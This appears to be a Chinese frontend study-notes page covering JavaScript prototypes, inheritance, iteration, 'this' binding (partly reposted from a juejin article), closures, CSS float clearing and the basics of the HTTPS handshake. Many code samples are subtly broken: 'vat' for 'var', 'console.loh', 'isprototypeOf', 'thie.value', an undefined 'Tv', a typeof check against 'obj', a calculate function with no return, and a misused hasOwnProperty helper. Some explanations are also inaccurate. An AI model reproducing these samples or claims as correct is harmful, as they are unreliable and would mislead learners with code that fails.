0%

构造函数

构造函数也是函数,与普通函数唯一区别就是调用方式不同。任何函数只要使用new操作符调用就是构造函数,而不适用new操作符调用的函数就是普通函数。

理解原型

只要创建一个函数,就会按照特定的规则为这个函数创建一个prototype属性(指向原型对象),默认情况下,所有原型对象会自动获得一个名为constructor指向Person

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function Person(){}
console.log(typeof Person.prototype);
console.log(Person.prototype);
//正常原型链都会终止于Object的原型对象
//Object原型的原型是null
console.log(Person.prototype.__proto__===Object.prototype);//true
console.log(Person.prototype.__proto__.constructor===Object);//true
console.log(Person.prototype.__proto__.__proto__===null);//true
console.log(Person.prototype.__proto__);//true
let person1=new Person(),person2=new Person();
//构造函数,原型对象和实例是3个完全不同的对象
console.log(person1!==Person);//true
console.log(person1!==Person.prototype);//true
console.log(Person.prototype!==Person);//true
//实例通过__proto__链接到原型对象,它实际上指向隐藏特性[[Prototype]]
//实例与构造函数没有联系,与原型对象有直接联系
console.log(person1.__proto__===Person.prototype);
console.log(person1.__proto__.constructor===Person);
//同一个构造函数创建的两个实例共享同一个原型对象
console.log(person1.__proto__===person2.__proto__);
//instanceof检查实例的原型链中是否包含指定构造函数的原型
console.log(person1 instanceof Person);//true
console.log(person1 instanceof Object);//true
console.log(Person.prototype instanceof Object);//true

原型

Person构造函数,Person原型对象和Person现有实例的关系如上:Person.prototype指向原型对象,因此Person.prototye.constructor指回Person构造函数。原型对象包含constructor属性和其他后来添加的属性。Person的两个实例person1,person2有一个内部属性指回Person.prototype,而且两者和构造函数没有直接联系。person1.sayName()可以正常调用,这是由于对象属性查找机制的原因

虽然不是所有实现都对外暴露[[Prototype]],但可以使用isPrototypeOf()方法确定两个对象之间的关系,本质上isPrototypeOf()会在传入参数的[[Prototype]]指向调用它的对象时返回true

1
2
console.log(Person.prototype.isprototypeOf(person1));//true
console.log(Person.prototype.isprototypeOf(person2));//true

Object类型有一个方法叫Object.getPrototypeOf(),返回参数的内部特性[[Prototype]]的值

1
2
console.log(Object.getPrototypeOf(person1)==Person.prototype);//true
console.log(Object.getPrototypeOf(person1).name);

使用Object.getPrototypeOf()可以取得一个对象的原型

Object类型还有一个setPrototypeOf()方法,可以向实例的私有特性[[Prototype]]写入一个新值,这样就可以重写一个对象的原型继承关系

1
2
3
4
5
6
7
8
9
10
let biped={
numLegs:2
};
let person={
name:'Matt'
};
Object.setPrototypeOf(person,biped);
console.log(person.name);
console.log(person.numLegs);
console.log(Object.getPrototypeOf(person)===biped);

Object.setPrototypeOf()可能会严重影响代码性能,会涉及所有访问了哪些修改过[[Prototype]]的对象的代码

可以通过Object.create()创建一个新对象,同时为其指定原型

1
2
3
4
5
6
7
8
let biped={
numLegs:2
};
let person=Object.create(biped);
person.name='Matt';
console.log(person.name);
console.log(person.numLegs);
console.log(Object.getPrototypeOf(person)===biped);//true

原型层级

通过对象访问属性时会按照这个属性名称开始搜索,搜索开始于对象实例本身,如果在实例上发现给定的名称,则返回该名称对应值,如果没有找到这个属性,则搜索会沿着指针进入原型对象,在原型对象找到属性后返回对应值。

比如foo不直接存在于myObject中而是存在于原型链上层时,myObject.foo=”bar”会出现三种情况:

  1. 如果在[[Prototype]]链上层存在名为foo的普通数据访问属性,并且writable:true,那就会直接在myObject中添加一个名为foo的新属性,它是屏蔽属性

  2. 如果在[[Prototype]]链上层存在foo,但是它是被标记为只读(writable:false),那么无法修改已有属性或者在myObject上创建屏蔽属性。如果运行在严格模式下,代码会抛出一个错误。否则,这条赋值语句会被忽略。不会发生屏蔽

  3. 如果在[[Prototype]]链上层存在foo并且它是一个setter,那就一定会调用这个setter,foo不会添加到myObject,也不会重新定义foo这个setter。

当属性被屏蔽时,可以使用delete删除实例上的这个属性。

1
2
3
4
5
6
7
8
9
10
11
function Person(){}
Person.prototype.name='Nicholas';
Person.prototype.age=29;
let person1=new Person();
let person2=new Person();
person1.name="Greg";
console.log(person1.name);//"Greg",来自实例
console.log(person2.name);//Nicholas,来自原型
delete person1.name;
console.log(person1.name);//Nicholas,来自原型

hasOwnProperty()

hasOwnProperty()方法用于确定某个属性是在实例上还是原型对象上。这个方法继承自Object,会在属性存在于调用它的对象实例善时返回true

in操作符

in操作符会在可以通过对象访问指定属性时返回true,无论该属性是在实例上还是在原型上

因此如果要确定某个属性是否在原型上可以同时使用hasOwnProperty()和in操作符

1
2
3
function hasPrototypeProperty(object,name){
return !Object.hasOwnProperty(name)&&(name in object)
}

原型的问题

弱化了向构造函数传递初始化参数的能力,会导致所有实例默认取得属性相同的值,以及它的共享特性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Person(){
Person.prototype={
constructor:Person,
name:'nic',
age:29,
job:"Software Engineer",
friends:['Coloey','Amy'],
sayName(){
console.log(this.name)
}
}

}
let person1=new Person();
let person2=new Person();
person1.friends.push('Van');
console.log(person1.friends===person2.friends);//true

不同实例应有不同的副本

原型链

原型链是ECMAScript的主要继承方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function SuperType(){
this.property=true;
}
SuperType.prototype.getSuperValue=function(){
return this.property;
}
function SubType(){
this.subproperty=false;
}
//继承SuperType
SubType.prototype=new SuperType();
SubType.prototype.getSubValue=function(){
return this.subproperty;
}
let instance=new SubType();
console.log(instance.getSuperValue());//true
console.log(instance.property)//true

SubType.prototype是SuperType的实例,因此SubType.prototype指向SuperType.prototype,注意,getSuperValue()方法还在SuperType.prototype对象上,而property是一个实例属性,SubType.prototype是SuperType的实例,因此property存在它上面,由于SubType.prototype的constructor属性被重写指向SuperType,所以instance.constructor也指向SuperType.

原型与继承关系

使用instanceOf操作符,如果一个实例的原型链出现过相应构造函数则instanceOf返回true

1
2
console.log(instance instanceof Object);
console.loh(instance instanceof SubType);

使用**isPrototypeOf()**方法,原型链上的每个原型都可以调用这个方法,只要原型链上包含这个原型就返回true

1
2
3
console.log(Object.prototype.isPrototypeOf(instance));//true
console.log(SuperType.prototype.isPrototypeOf(instance));//true
console.log(SubType.prototype.isPrototypeOf(instance));//true

以对象字面量的方式创建原型方法会破坏之前的原型链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function SuperType(){
this.property=true;
}
SuperType.prototype.getSuperValue=function(){
return this.property;
}
function SubType(){
this.subproperty=false;
}
//继承SuperType
SubType.prototype=new SuperType();
//通过对象字面量添加新方法,会导致上一行无效
SubType.prototype={
getSubValue(){
return this.subproperty;
},
someOtherMethod(){
return false;

}
}
let instance=new SubType();
console.log(instance.getSuperValue());//出错

原型链的问题就是会在原型中包含的引用值会在实例间共享

1
2
3
4
5
6
7
8
9
10
11
function SuperType(){
this.color=["red","blue","green"]
}
function SubType(){
}
SubType.prototype=new SuperType();
let intance1=new SubType();
intance1.color.push("black");
console.log(intance1.color);
let instance2=new SubType();
console.log(instance2.color);

盗用构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
function SuperType(){
this.color=["red","blue","green"]
}
function SubType(){
//继承SuperType
SuperType.call(this);
}
//SubType.prototype=new SuperType();
let intance1=new SubType();
intance1.color.push("black");
console.log(intance1.color);
let instance2=new SubType();
console.log(instance2.color);

使用call(),SuperType构造函数在为SubType的实例创建的新对象的上下文中执行了,相当于新的SubType对象上运行了SuperType()函数的所有初始化代码

传递参数:

1
2
3
4
5
6
7
8
9
10
11
12
function SuperType(arr){
this.color=["red","blue","green"]
arr.forEach(item=>this.color.push(item));
}
function SubType(){
//继承SuperType
SuperType.call(this,['black']);
}
let intance1=new SubType();
console.log(intance1.color);//['red', 'blue', 'green', 'black']
let instance2=new SubType();
console.log(instance2.color);//['red', 'blue', 'green', 'black']

问题:

也是使用构造函数模式自定义类型的问题:必须在构造函数中定义方法,因此函数不能重用,此外,子类也不能访问父类原型上定义的方法,因此所有类型只能使用构造函数模式。

for…in

用来遍历对象的可枚举属性列表,包括自有属性,原型链上的键,某些情况下会以任意顺序遍历键名

forEach(…)

用来遍历数组中的所有值并忽略回调函数的返回值,break命令或return 命令不能奏效

for…of

直接遍历值,会首先向被访问对象请求一个迭代器对象,然后通过调用迭代器对象的next()方法来遍历所有返回值,

和for…in一样简洁的语法,可以与break,continue和return配合使用,提供了遍历所有数据结构的统一操作接口

Object.keys()

此方法返回一个数组,元素均为对象自有的可枚举属性,不能遍历到原型链上的属性和不可枚举属性

Object.values()

与Object.keys()遍历对象的特性相同,但是其返回的结构以遍历的属性值构成得到数组

Object.entries()

返回值时Object.values()和Object.keys()的结合,会返回一个嵌套数组,数组内包括了属性名和属性值

1
2
3
4
5
let obj = {
name:"cornd",
age:10
}
Object.entries(obj) // [['name', 'cornd'],['age', 10]]

Object.getOwnPropertyNames()

返回结果和Object.keys()相同,但是它的特性与其相反,可以遍历会返回对象的所有属性,包括不可枚举属性,不包括继承自原型的属性

Reflect.ownKeys()

Reflect.ownKeys()方法返回一个由目标对象自身的属性键组成的数组。它的返回值等同于 Object.getOwnPropertyNames(target).concat(Object.getOwnPropertySymbols(target))。不包含继承的属性

image-20221129001939315

image-20221129002032050

自定义对象迭代器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var myObject={
a:2,
b:3
};
Object.defineProperty(myObject,Symbol.iterator,{
enumerable:false,
writable:false,
configurable:true,
value:function(){
var o=this;
var idx=0;
var ks=Object.keys(o);//获取Object对象所有键值
return{
next:function(){//next是一个函数
return{
value:o[ks[idx++]],
done:(idx>ks.length)
}
}
}
}
})
var it=myObject[Symbol.iterator]();
it.next();
it.next();
it.next();
for(let v of myObject){
console.log(v);
}

判断this指向:

  1. 由new调用?绑定到新创建的对象
  2. 由call或者apply(获得bind)调用?)绑定到指定对象
  3. 由上下文对象调用,绑定到那个上下文对象
  4. 默认:严格模式下绑定undefined否则绑定全局对象
  5. 箭头函数例外,会根据当前词法作用域来决定this,会绑定第一个在作用域链上找到的标识符。

this 的指向

在 ES5 中,其实 this 的指向,始终坚持一个原理:this 永远指向最后调用它的那个对象,来,跟着我朗读三遍:this 永远指向最后调用它的那个对象,this 永远指向最后调用它的那个对象,this 永远指向最后调用它的那个对象。记住这句话,this 你已经了解一半了。

下面我们来看一个最简单的例子:
例 1:

1
2
3
4
5
6
7
8
9
10
var name = "windowsName";
function a() {
var name = "Cherry";

console.log(this.name); // windowsName

console.log("inner:" + this); // inner: Window
}
a();
console.log("outer:" + this) // outer: Window复制代码

这个相信大家都知道为什么 log 的是 windowsName,因为根据刚刚的那句话“this 永远指向最后调用它的那个对象”,我们看最后调用 a 的地方 a();,前面没有调用的对象那么就是全局对象 window,这就相当于是 window.a();注意,这里我们没有使用严格模式,如果使用严格模式的话,全局对象就是 undefined,那么就会报错 Uncaught TypeError: Cannot read property 'name' of undefined

再看下这个例子:
例 2:

1
2
3
4
5
6
7
8
var name = "windowsName";
var a = {
name: "Cherry",
fn : function () {
console.log(this.name); // Cherry
}
}
a.fn();复制代码

在这个例子中,函数 fn 是对象 a 调用的,所以打印的值就是 a 中的 name 的值。是不是有一点清晰了呢~

我们做一个小小的改动:
例 3:

1
2
3
4
5
6
7
8
var name = "windowsName";
var a = {
name: "Cherry",
fn : function () {
console.log(this.name); // Cherry
}
}
window.a.fn();复制代码

这里打印 Cherry 的原因也是因为刚刚那句话“this 永远指向最后调用它的那个对象”,最后调用它的对象仍然是对象 a。

我们再来看一下这个例子:
例 4:

1
2
3
4
5
6
7
8
var name = "windowsName";
var a = {
// name: "Cherry",
fn : function () {
console.log(this.name); // undefined
}
}
window.a.fn();复制代码

这里为什么会打印 undefined 呢?这是因为正如刚刚所描述的那样,调用 fn 的是 a 对象,也就是说 fn 的内部的 this 是对象 a,而对象 a 中并没有对 name 进行定义,所以 log 的 this.name 的值是 undefined

这个例子还是说明了:this 永远指向最后调用它的那个对象,因为最后调用 fn 的对象是 a,所以就算 a 中没有 name 这个属性,也不会继续向上一个对象寻找 this.name,而是直接输出 undefined

再来看一个比较坑的例子:
例 5:

1
2
3
4
5
6
7
8
9
10
11
var name = "windowsName";
var a = {
name : null,
// name: "Cherry",
fn : function () {
console.log(this.name); // windowsName
}
}

var f = a.fn;
f();复制代码

这里你可能会有疑问,为什么不是 Cherry,这是因为虽然将 a 对象的 fn 方法赋值给变量 f 了,但是没有调用,再接着跟我念这一句话:“this 永远指向最后调用它的那个对象”,由于刚刚的 f 并没有调用,所以 fn() 最后仍然是被 window 调用的。所以 this 指向的也就是 window。

由以上五个例子我们可以看出,this 的指向并不是在创建的时候就可以确定的,在 es5 中,永远是this 永远指向最后调用它的那个对象

再来看一个例子:
例 6:

1
2
3
4
5
6
7
8
9
10
11
var name = "windowsName";

function fn() {
var name = 'Cherry';
innerFunction();
function innerFunction() {
console.log(this.name); // windowsName
}
}

fn()复制代码

读到现在了应该能够理解这是为什么了吧(o゚▽゚)o。

怎么改变 this 的指向

改变 this 的指向我总结有以下几种方法:

  • 使用 ES6 的箭头函数
  • 在函数内部使用 _this = this
  • 使用 applycallbind
  • new 实例化一个对象

例 7:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var name = "windowsName";

var a = {
name : "Cherry",

func1: function () {
console.log(this.name)
},

func2: function () {
setTimeout( function () {
this.func1()
},100);
}

};

a.func2() // this.func1 is not a function复制代码

在不使用箭头函数的情况下,是会报错的,因为最后调用 setTimeout 的对象是 window,但是在 window 中并没有 func1 函数。

我们在改变 this 指向这一节将把这个例子作为 demo 进行改造。

箭头函数

众所周知,ES6 的箭头函数是可以避免 ES5 中使用 this 的坑的。箭头函数的 this 始终指向函数定义时的 this,而非执行时。箭头函数需要记着这句话:“箭头函数中没有 this 绑定,必须通过查找作用域链来决定其值,如果箭头函数被非箭头函数包含,则 this 绑定的是最近一层非箭头函数的 this,否则,this 为 undefined”箭头函数的绑定无法被修改,new也不可以

例 8 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var name = "windowsName";

var a = {
name : "Cherry",

func1: function () {
console.log(this.name)
},

func2: function () {
setTimeout( () => {
this.func1()
},100);
}

};

a.func2() // Cherry复制代码

在函数内部使用 _this = this

如果不使用 ES6,那么这种方式应该是最简单的不会出错的方式了,我们是先将调用这个函数的对象保存在变量 _this,然后在函数中都使用这个 _this,这样 _this 就不会改变了。
例 9:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var name = "windowsName";

var a = {

name : "Cherry",

func1: function () {
console.log(this.name)
},

func2: function () {
var _this = this;
setTimeout( function() {
_this.func1()
},100);
}

};

a.func2() // Cherry复制代码

这个例子中,在 func2 中,首先设置 var _this = this;,这里的 this 是调用 func2 的对象 a,为了防止在 func2 中的 setTimeout 被 window 调用而导致的在 setTimeout 中的 this 为 window。我们将 this(指向变量 a) 赋值给一个变量 _this,这样,在 func2 中我们使用 _this 就是指向对象 a 了。

使用 apply、call、bind

使用 apply、call、bind 函数也是可以改变 this 的指向的,原理稍后再讲,我们先来看一下是怎么实现的:

使用 apply

例 10:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = {
name : "Cherry",

func1: function () {
console.log(this.name)
},

func2: function () {
setTimeout( function () {
this.func1()
}.apply(a),100);
}

};

a.func2() // Cherry复制代码

使用 call

例 11:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = {
name : "Cherry",

func1: function () {
console.log(this.name)
},

func2: function () {
setTimeout( function () {
this.func1()
}.call(a),100);
}

};

a.func2() // Cherry复制代码

使用 bind

例 12:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = {
name : "Cherry",

func1: function () {
console.log(this.name)
},

func2: function () {
setTimeout( function () {
this.func1()
}.bind(a)(),100);
}

};

a.func2() // Cherry复制代码

apply、call、bind 区别

刚刚我们已经介绍了 apply、call、bind 都是可以改变 this 的指向的,但是这三个函数稍有不同。

MDN 中定义 apply 如下;

apply() 方法调用一个函数, 其具有一个指定的this值,以及作为一个数组(或类似数组的对象)提供的参数

语法:

fun.apply(thisArg, [argsArray])

  • thisArg:在 fun 函数运行时指定的 this 值。需要注意的是,指定的 this 值并不一定是该函数执行时真正的 this 值,如果这个函数处于非严格模式下,则指定为 null 或 undefined 时会自动指向全局对象(浏览器中就是window对象),同时值为原始值(数字,字符串,布尔值)的 this 会指向该原始值的自动包装对象。
  • argsArray:一个数组或者类数组对象,其中的数组元素将作为单独的参数传给 fun 函数。如果该参数的值为null 或 undefined,则表示不需要传入任何参数。从ECMAScript 5 开始可以使用类数组对象。浏览器兼容性请参阅本文底部内容。

apply 和 call 的区别

其实 apply 和 call 基本类似,他们的区别只是传入的参数不同。

call 的语法为:

1
fun.call(thisArg[, arg1[, arg2[, ...]]])复制代码

所以 apply 和 call 的区别是 call 方法接受的是若干个参数列表,而 apply 接收的是一个包含多个参数的数组。

例 13:

1
2
3
4
5
6
7
8
9
var a ={
name : "Cherry",
fn : function (a,b) {
console.log( a + b)
}
}

var b = a.fn;
b.apply(a,[1,2]) // 3复制代码

例 14:

1
2
3
4
5
6
7
8
9
var a ={
name : "Cherry",
fn : function (a,b) {
console.log( a + b)
}
}

var b = a.fn;
b.call(a,1,2) // 3复制代码

bind 和 apply、call 区别

我们先来将刚刚的例子使用 bind 试一下

1
2
3
4
5
6
7
8
9
var a ={
name : "Cherry",
fn : function (a,b) {
console.log( a + b)
}
}

var b = a.fn;
b.bind(a,1,2)复制代码

我们会发现并没有输出,这是为什么呢,我们来看一下 MDN 上的文档说明:

bind()方法创建一个新的函数, 当被调用时,将其this关键字设置为提供的值,在调用新函数时,在任何提供之前提供一个给定的参数序列。

所以我们可以看出,bind 是创建一个新的函数,我们必须要手动去调用

1
2
3
4
5
6
7
8
9
var a ={
name : "Cherry",
fn : function (a,b) {
console.log( a + b)
}
}

var b = a.fn;
b.bind(a,1,2)() // 3复制代码

==================================== 更新==============================

JS 中的函数调用

看到留言说,很多童靴不理解为什么 例 6 的 innerFunction 和 例 7 的 this 是指向 window 的,所以我就来补充一下 JS 中的函数调用。
例 6:

1
2
3
4
5
6
7
8
9
10
11
var name = "windowsName";

function fn() {
var name = 'Cherry';
innerFunction();
function innerFunction() {
console.log(this.name); // windowsName
}
}

fn()复制代码

例 7:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var name = "windowsName";

var a = {
name : "Cherry",

func1: function () {
console.log(this.name)
},

func2: function () {
setTimeout( function () {
this.func1()
},100);
}

};

a.func2() // this.func1 is not a function复制代码

函数调用的方法一共有 4 种

  1. 作为一个函数调用
  2. 函数作为方法调用
  3. 使用构造函数调用函数
  4. 作为函数方法调用函数(call、apply)

作为一个函数调用

比如上面的 例 1:
例 1:

1
2
3
4
5
6
7
8
9
10
var name = "windowsName";
function a() {
var name = "Cherry";

console.log(this.name); // windowsName

console.log("inner:" + this); // inner: Window
}
a();
console.log("outer:" + this) // outer: Window复制代码

这样一个最简单的函数,不属于任何一个对象,就是一个函数,这样的情况在 JavaScript 的在浏览器中的非严格模式默认是属于全局对象 window 的,在严格模式,就是 undefined。

但这是一个全局的函数,很容易产生命名冲突,所以不建议这样使用。

函数作为方法调用

所以说更多的情况是将函数作为对象的方法使用。比如例 2:
例 2:

1
2
3
4
5
6
7
8
var name = "windowsName";
var a = {
name: "Cherry",
fn : function () {
console.log(this.name); // Cherry
}
}
a.fn();复制代码

这里定义一个对象 a,对象 a 有一个属性(name)和一个方法(fn)。

然后对象 a 通过 . 方法调用了其中的 fn 方法。

然后我们一直记住的那句话“this 永远指向最后调用它的那个对象”,所以在 fn 中的 this 就是指向 a 的。

使用构造函数调用函数

如果函数调用前使用了 new 关键字, 则是调用了构造函数。
这看起来就像创建了新的函数,但实际上 JavaScript 函数是重新创建的对象:

1
2
3
4
5
6
7
8
9
// 构造函数:
function myFunction(arg1, arg2) {
this.firstName = arg1;
this.lastName = arg2;
}

// This creates a new object
var a = new myFunction("Li","Cherry");
a.lastName; // 返回 "Cherry"复制代码

这就有要说另一个面试经典问题:new 的过程了,(ಥ_ಥ)
这里就简单的来看一下 new 的过程吧:
伪代码表示:

1
2
3
4
5
6
7
8
var a = new myFunction("Li","Cherry");

new myFunction{
var obj = {};
obj.__proto__ = myFunction.prototype;
var result = myFunction.call(obj,"Li","Cherry");
return typeof result === 'obj'? result : obj;
}复制代码
  1. 创建一个空对象 obj;
  2. 将新创建的空对象的隐式原型指向其构造函数的显示原型。
  3. 使用 call 改变 this 的指向
  4. 如果无返回值或者返回一个非对象值,则将 obj 返回作为新对象;如果返回值是一个新对象的话那么直接直接返回该对象。

所以我们可以看到,在 new 的过程中,我们是使用 call 改变了 this 的指向。

作为函数方法调用函数

在 JavaScript 中, 函数是对象。

JavaScript 函数有它的属性和方法。
call() 和 apply() 是预定义的函数方法。 两个方法可用于调用函数,两个方法的第一个参数必须是对象本身

在 JavaScript 严格模式(strict mode)下, 在调用函数时第一个参数会成为 this 的值, 即使该参数不是一个对象。
在 JavaScript 非严格模式(non-strict mode)下, 如果第一个参数的值是 null 或 undefined, 它将使用全局对象替代。

这个时候我们再来看例 6:
例 6:

1
2
3
4
5
6
7
8
9
10
11
var name = "windowsName";

function fn() {
var name = 'Cherry';
innerFunction();
function innerFunction() {
console.log(this.name); // windowsName
}
}

fn()复制代码

这里的 innerFunction() 的调用是不是属于第一种调用方式:作为一个函数调用(它就是作为一个函数调用的,没有挂载在任何对象上,所以对于没有挂载在任何对象上的函数,在非严格模式下 this 就是指向 window 的)

然后再看一下 例 7:
例 7:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var name = "windowsName";

var a = {
name : "Cherry",

func1: function () {
console.log(this.name)
},

func2: function () {
setTimeout( function () {
this.func1()
},100 );
}

};

a.func2() // this.func1 is not a function复制代码

这个简单一点的理解可以理解为“匿名函数的 this 永远指向 window”,你可以这样想,还是那句话this 永远指向最后调用它的那个对象,那么我们就来找最后调用匿名函数的对象,这就很尴尬了,因为匿名函数名字啊,笑哭,所以我们是没有办法被其他对象调用匿名函数的。所以说 匿名函数的 this 永远指向 window。

如果这个时候你要问,那匿名函数都是怎么定义的,首先,我们通常写的匿名函数都是自执行的,就是在匿名函数后面加 () 让其自执行。其次就是虽然匿名函数不能被其他对象调用,但是可以被其他函数调用啊,比如例 7 中的 setTimeout。

转自(作者:sunshine小小倩
链接:https://juejin.cn/post/6844903496253177863
来源:稀土掘金)

1
2
3
4
5
6
7
8
9
function foo(){
var a=2;
function bar(){
console.log(a);
}
return bar;
}
var baz=foo();
baz();//2

内部函数bar()能够访问foo()的内部作用域,将bar()函数本身作为值类型传递,调用foo(),我们通常希望整个内部作用域被销毁,然而因为bar()所声明的位置拥有涵盖foo()内部作用域的闭包,使得作用域一直存活,以供bar()在任何时间之后进行引用。内部函数依然持有对外部函数的作用域的引用,这个引用就叫做闭包

总结来说:本质就是上级作用域内变量的生命周期,因为被下级作用域内引用,而没有被释放。就导致上级作用域内的变量,等到下级作用域执行完以后才正常得到释放。

闭包的作用:

封装变量

闭包可以把一些不需要暴露在全局的变量封装成“私有变量”,如果一个大函数中有一些代码块能独立出来,我们常常把这些代码块封装在一个独立的小函数里面,独立出来的小函数有助于代码复用,如果这些小函数不需要在程序的其他地方使用,可以用闭包封闭起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var mult = (function(){
vat cache = {}
var calculate = function(){
var a=1
for(var i=0,l=arguments.length;i<l;i++){
a = a*arguments[i]
}
}
return function(){
var args = Array.prototype.join.call(arguments,',')
if(args in cache){
return cache[args]
}
return cache[args] = calculate.apply(null,arguments)
}
})()

延长局部变量寿命

1
2
3
4
5
var report = function(src){
var img = new Image()
img.src = src
}
report("http://xxx.com/getUserInfo")

如果report函数调用结束后,img局部变量立即被销毁,如果还没来得及发起HTTP请求,此次起笔趣就会丢失掉

用闭包延长Img寿命

1
2
3
4
5
6
7
8
9
var report = (function(){
var imgs = []
return function(src){
var img = new Image()
imgs.push(img)
img.src = src
}

})()

闭包和面向对象设计

对象以方法的形式包含了过程,而闭包则是在过程中以环境的形式包含了数据通常面向对象的思想能实现的功能闭包也能实现:

1
2
3
4
5
6
7
8
9
10
var extent = function(){
var value = 0;
return {
call:function(){
value++;
console.log(value);
}
}
}
var extent = extent()

用面向对象的思想:

1
2
3
4
5
6
7
8
var extent = {
value:0,
call: function(){
thie.value++;
console.log(this.value)
}

}

用闭包实现命令模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var TV = {
open: function(){
console.log('open')
} ,
close: function(){
console.log('close')
}

}
var createCommand = function(receiver){
var excute = function(){
return receiver.open()
}
var undo = function(){
return receiver.close()
}
return {
excute:excute,
undo: undo
}
}
var setCommand = function(command){
document.getElementById('excute').onclick = function(){
command.excute()//open
}
document.getElementById('undo').onclick = function(){
command.undo()//close
}

}
setCommand(createCommand(Tv))

TV即命令接收者,往函数对象中预先植入命令接收者,命令接收者被封闭在闭包形成的环境中

闭包与内存管理:

使用闭包的时候容易造成循环引用,但这并非闭包的问题,浏览器的采用引用计数的垃圾回收策略,如果两个对象发生了循环引用,那么这两个对象肯都无法被回收,但是循环引用造成内存泄漏本质上也不是闭包的原因,这时需要把循环引用的变量中的其中一个设为null

1
2
3
4
5
6
7
8
9
10
11
div {
width:0;
height:0;
border: 10px solid transparent;
border-left-color:pink;
/*照顾兼容性*/
line-height:0;
font-size:0;


}

margin负值巧妙使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<style>
ul li {
list-style-type: none;
float:left;
width: 150px;
height: 200px;
border:1px solid red;
margin-left: -1px;
}
ul li:hover {
/* 如果盒子没有定位则添加相对定位使得合资压住所有其他标准流 */
position:relative;
border: 1px solid blue;
}
ul li :hover {
/* 如果盒子有定位设置z-index提高盒子层级 */
z-index:1;
border: 1px solid blue;
}
</style>

<ul>
<li></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>

为什么需要清除浮动

由于父级盒子很多情况下,不方便给高度,当时盒子浮动又不占有位置,最后父级盒子高度为 0 时,就会影响下面的盒子,对后面元素排版产生影响。

清除浮动本质

  • 清除浮动的本质是清除浮动元素造成的影响
  • 如果父盒子本身具有高度,则不需要清除浮动
  • 清除浮动之后,父级会根据浮动的子盒子自动检测高度,父级有了高度,就不会影响下面的标准流了

语法:

1
2
3
选择器: {
clear: 属性值;
}
属性值 描述
left 不允许左侧有浮动元素
right 不允许右侧有浮动元素
both 同时清除左右两侧浮动

清除浮动策略:闭合浮动

方法:

  1. 额外标签法(隔墙法),是 W3C 推荐的方法
  2. 父级添加 overflow 属性
  3. 父级添加 after 伪元素
  4. 父级添加双伪元素

额外标签法

也称为隔墙法,是 W3C 推荐的方法。

额外标签法是在最后一个浮动元素末尾添加一个 空块级元素不能是行内元素),给其赋以属性 clear:both;

1
2
3
4
<style>
clear: both;
</style>
<div class="clear"></div>Copy to clipboardErrorCopied
  • 优点:通俗易懂,书写方便
  • 缺点:添加许多无意义的标签,结构化差

总结

  1. 清除浮动的本质

    清除浮动的本质是清除浮动元素脱离标准流造成的影响

  2. 清除浮动的策略

    闭合浮动,只让浮动在父盒子内部影响,不影响父盒子外面的其他盒子。

  3. 使用场景

    实际开发中可能会遇到,但是不常用。

父级添加 overflow 属性

可以给父级添加 overflow 属性,将其属性设置为 hiddenautoscroll

注意是给父元素添加代码:

  • 优点:代码简洁
  • 缺点:无法显示溢出部分

父级添加 after 伪元素

实际上也是额外标签法的一种。(相当于在最后一个子元素后面再添加一个元素隔开)

1
2
3
4
5
6
7
8
9
10
11
12
.clearfix::after {
content: "";
display: block;//伪元素为行内块元素,要转换为块级元素
height: 0;
clear: both;
visibility: hidden;
}
.clearfix {
/*IE6、7专有*/
*zoom: 1;
}

父级添加双伪元素

1
2
3
4
5
6
7
8
9
10
11
.clearfix::before,
.clearfix::after {
content: "";//前后都隔开
display: table;//伪元素为行内块元素,要转换为块级元素
}
.clearfix::after {
clear: both;
}
.clearfix {
*zoom: 1;
}Copy to clipboardErrorCopied
  • 优点:代码更简洁
  • 缺点:照顾低版本浏览器
  • 代表网站:小米、腾讯

伪元素转化为块级元素原因:根本原因是为了解决clearfix内部非浮动元素margin塌陷问题

另发现一个新属性display: flow-root,不支持Safari。它可以创建无副作用的BFC。在父级块中使用 display: flow-root 可以创建新的BFC。其作用和clearfix一致。

参考:

为什么需要清除浮动?

  1. 父级没高度
  2. 子盒子浮动了
  3. 影响下面布局了,应该清除浮动。

HTTP+加密+认证+完整性保护=HTTPS

HTTPS是HTTP通信接口部分用SSL和TLS协议代替。

1

SSL是独立于HTTP的协议

相互交换密钥的公开密钥加密技术

共享密钥加密

加密和解密用一个密钥的方式,也叫做对称密钥加密

2

使用两把密钥的公开密钥加密

使用非对称的密钥,一把叫做私有密钥,另一把叫做公有密钥,私有密钥不能让任何人知道,公有密钥可以随意发布。

发送密文的一方使用对方的公开密钥进行加密处理,对方收到被加密的信息后,再使用自己的私有密钥进行解密,解密过程是队离散对数的求值。

HTTPS采用混合加密机制

证明公开密钥正确性的证书

HTTPS的安全通信机制

  1. 客户端通过发送Client Hello报文开始SSL通信,报文中包含客户端支持的SSL的指定版本,加密组件列表
  2. 服务器可进行SSL通信时,会以Server Hello报文作为应答,和客户端一样,在报文中包含SSL版本以及加密组件。服务器的加密组件内容是从接收到的客户端加密组件内筛选出来的
  3. 之后服务器发送Certificate报文,报文中包含公开密钥证书
  4. 最后服务器发送Server Hello Done 报告通知客户端,最初阶段的SSL握手协商部分结束
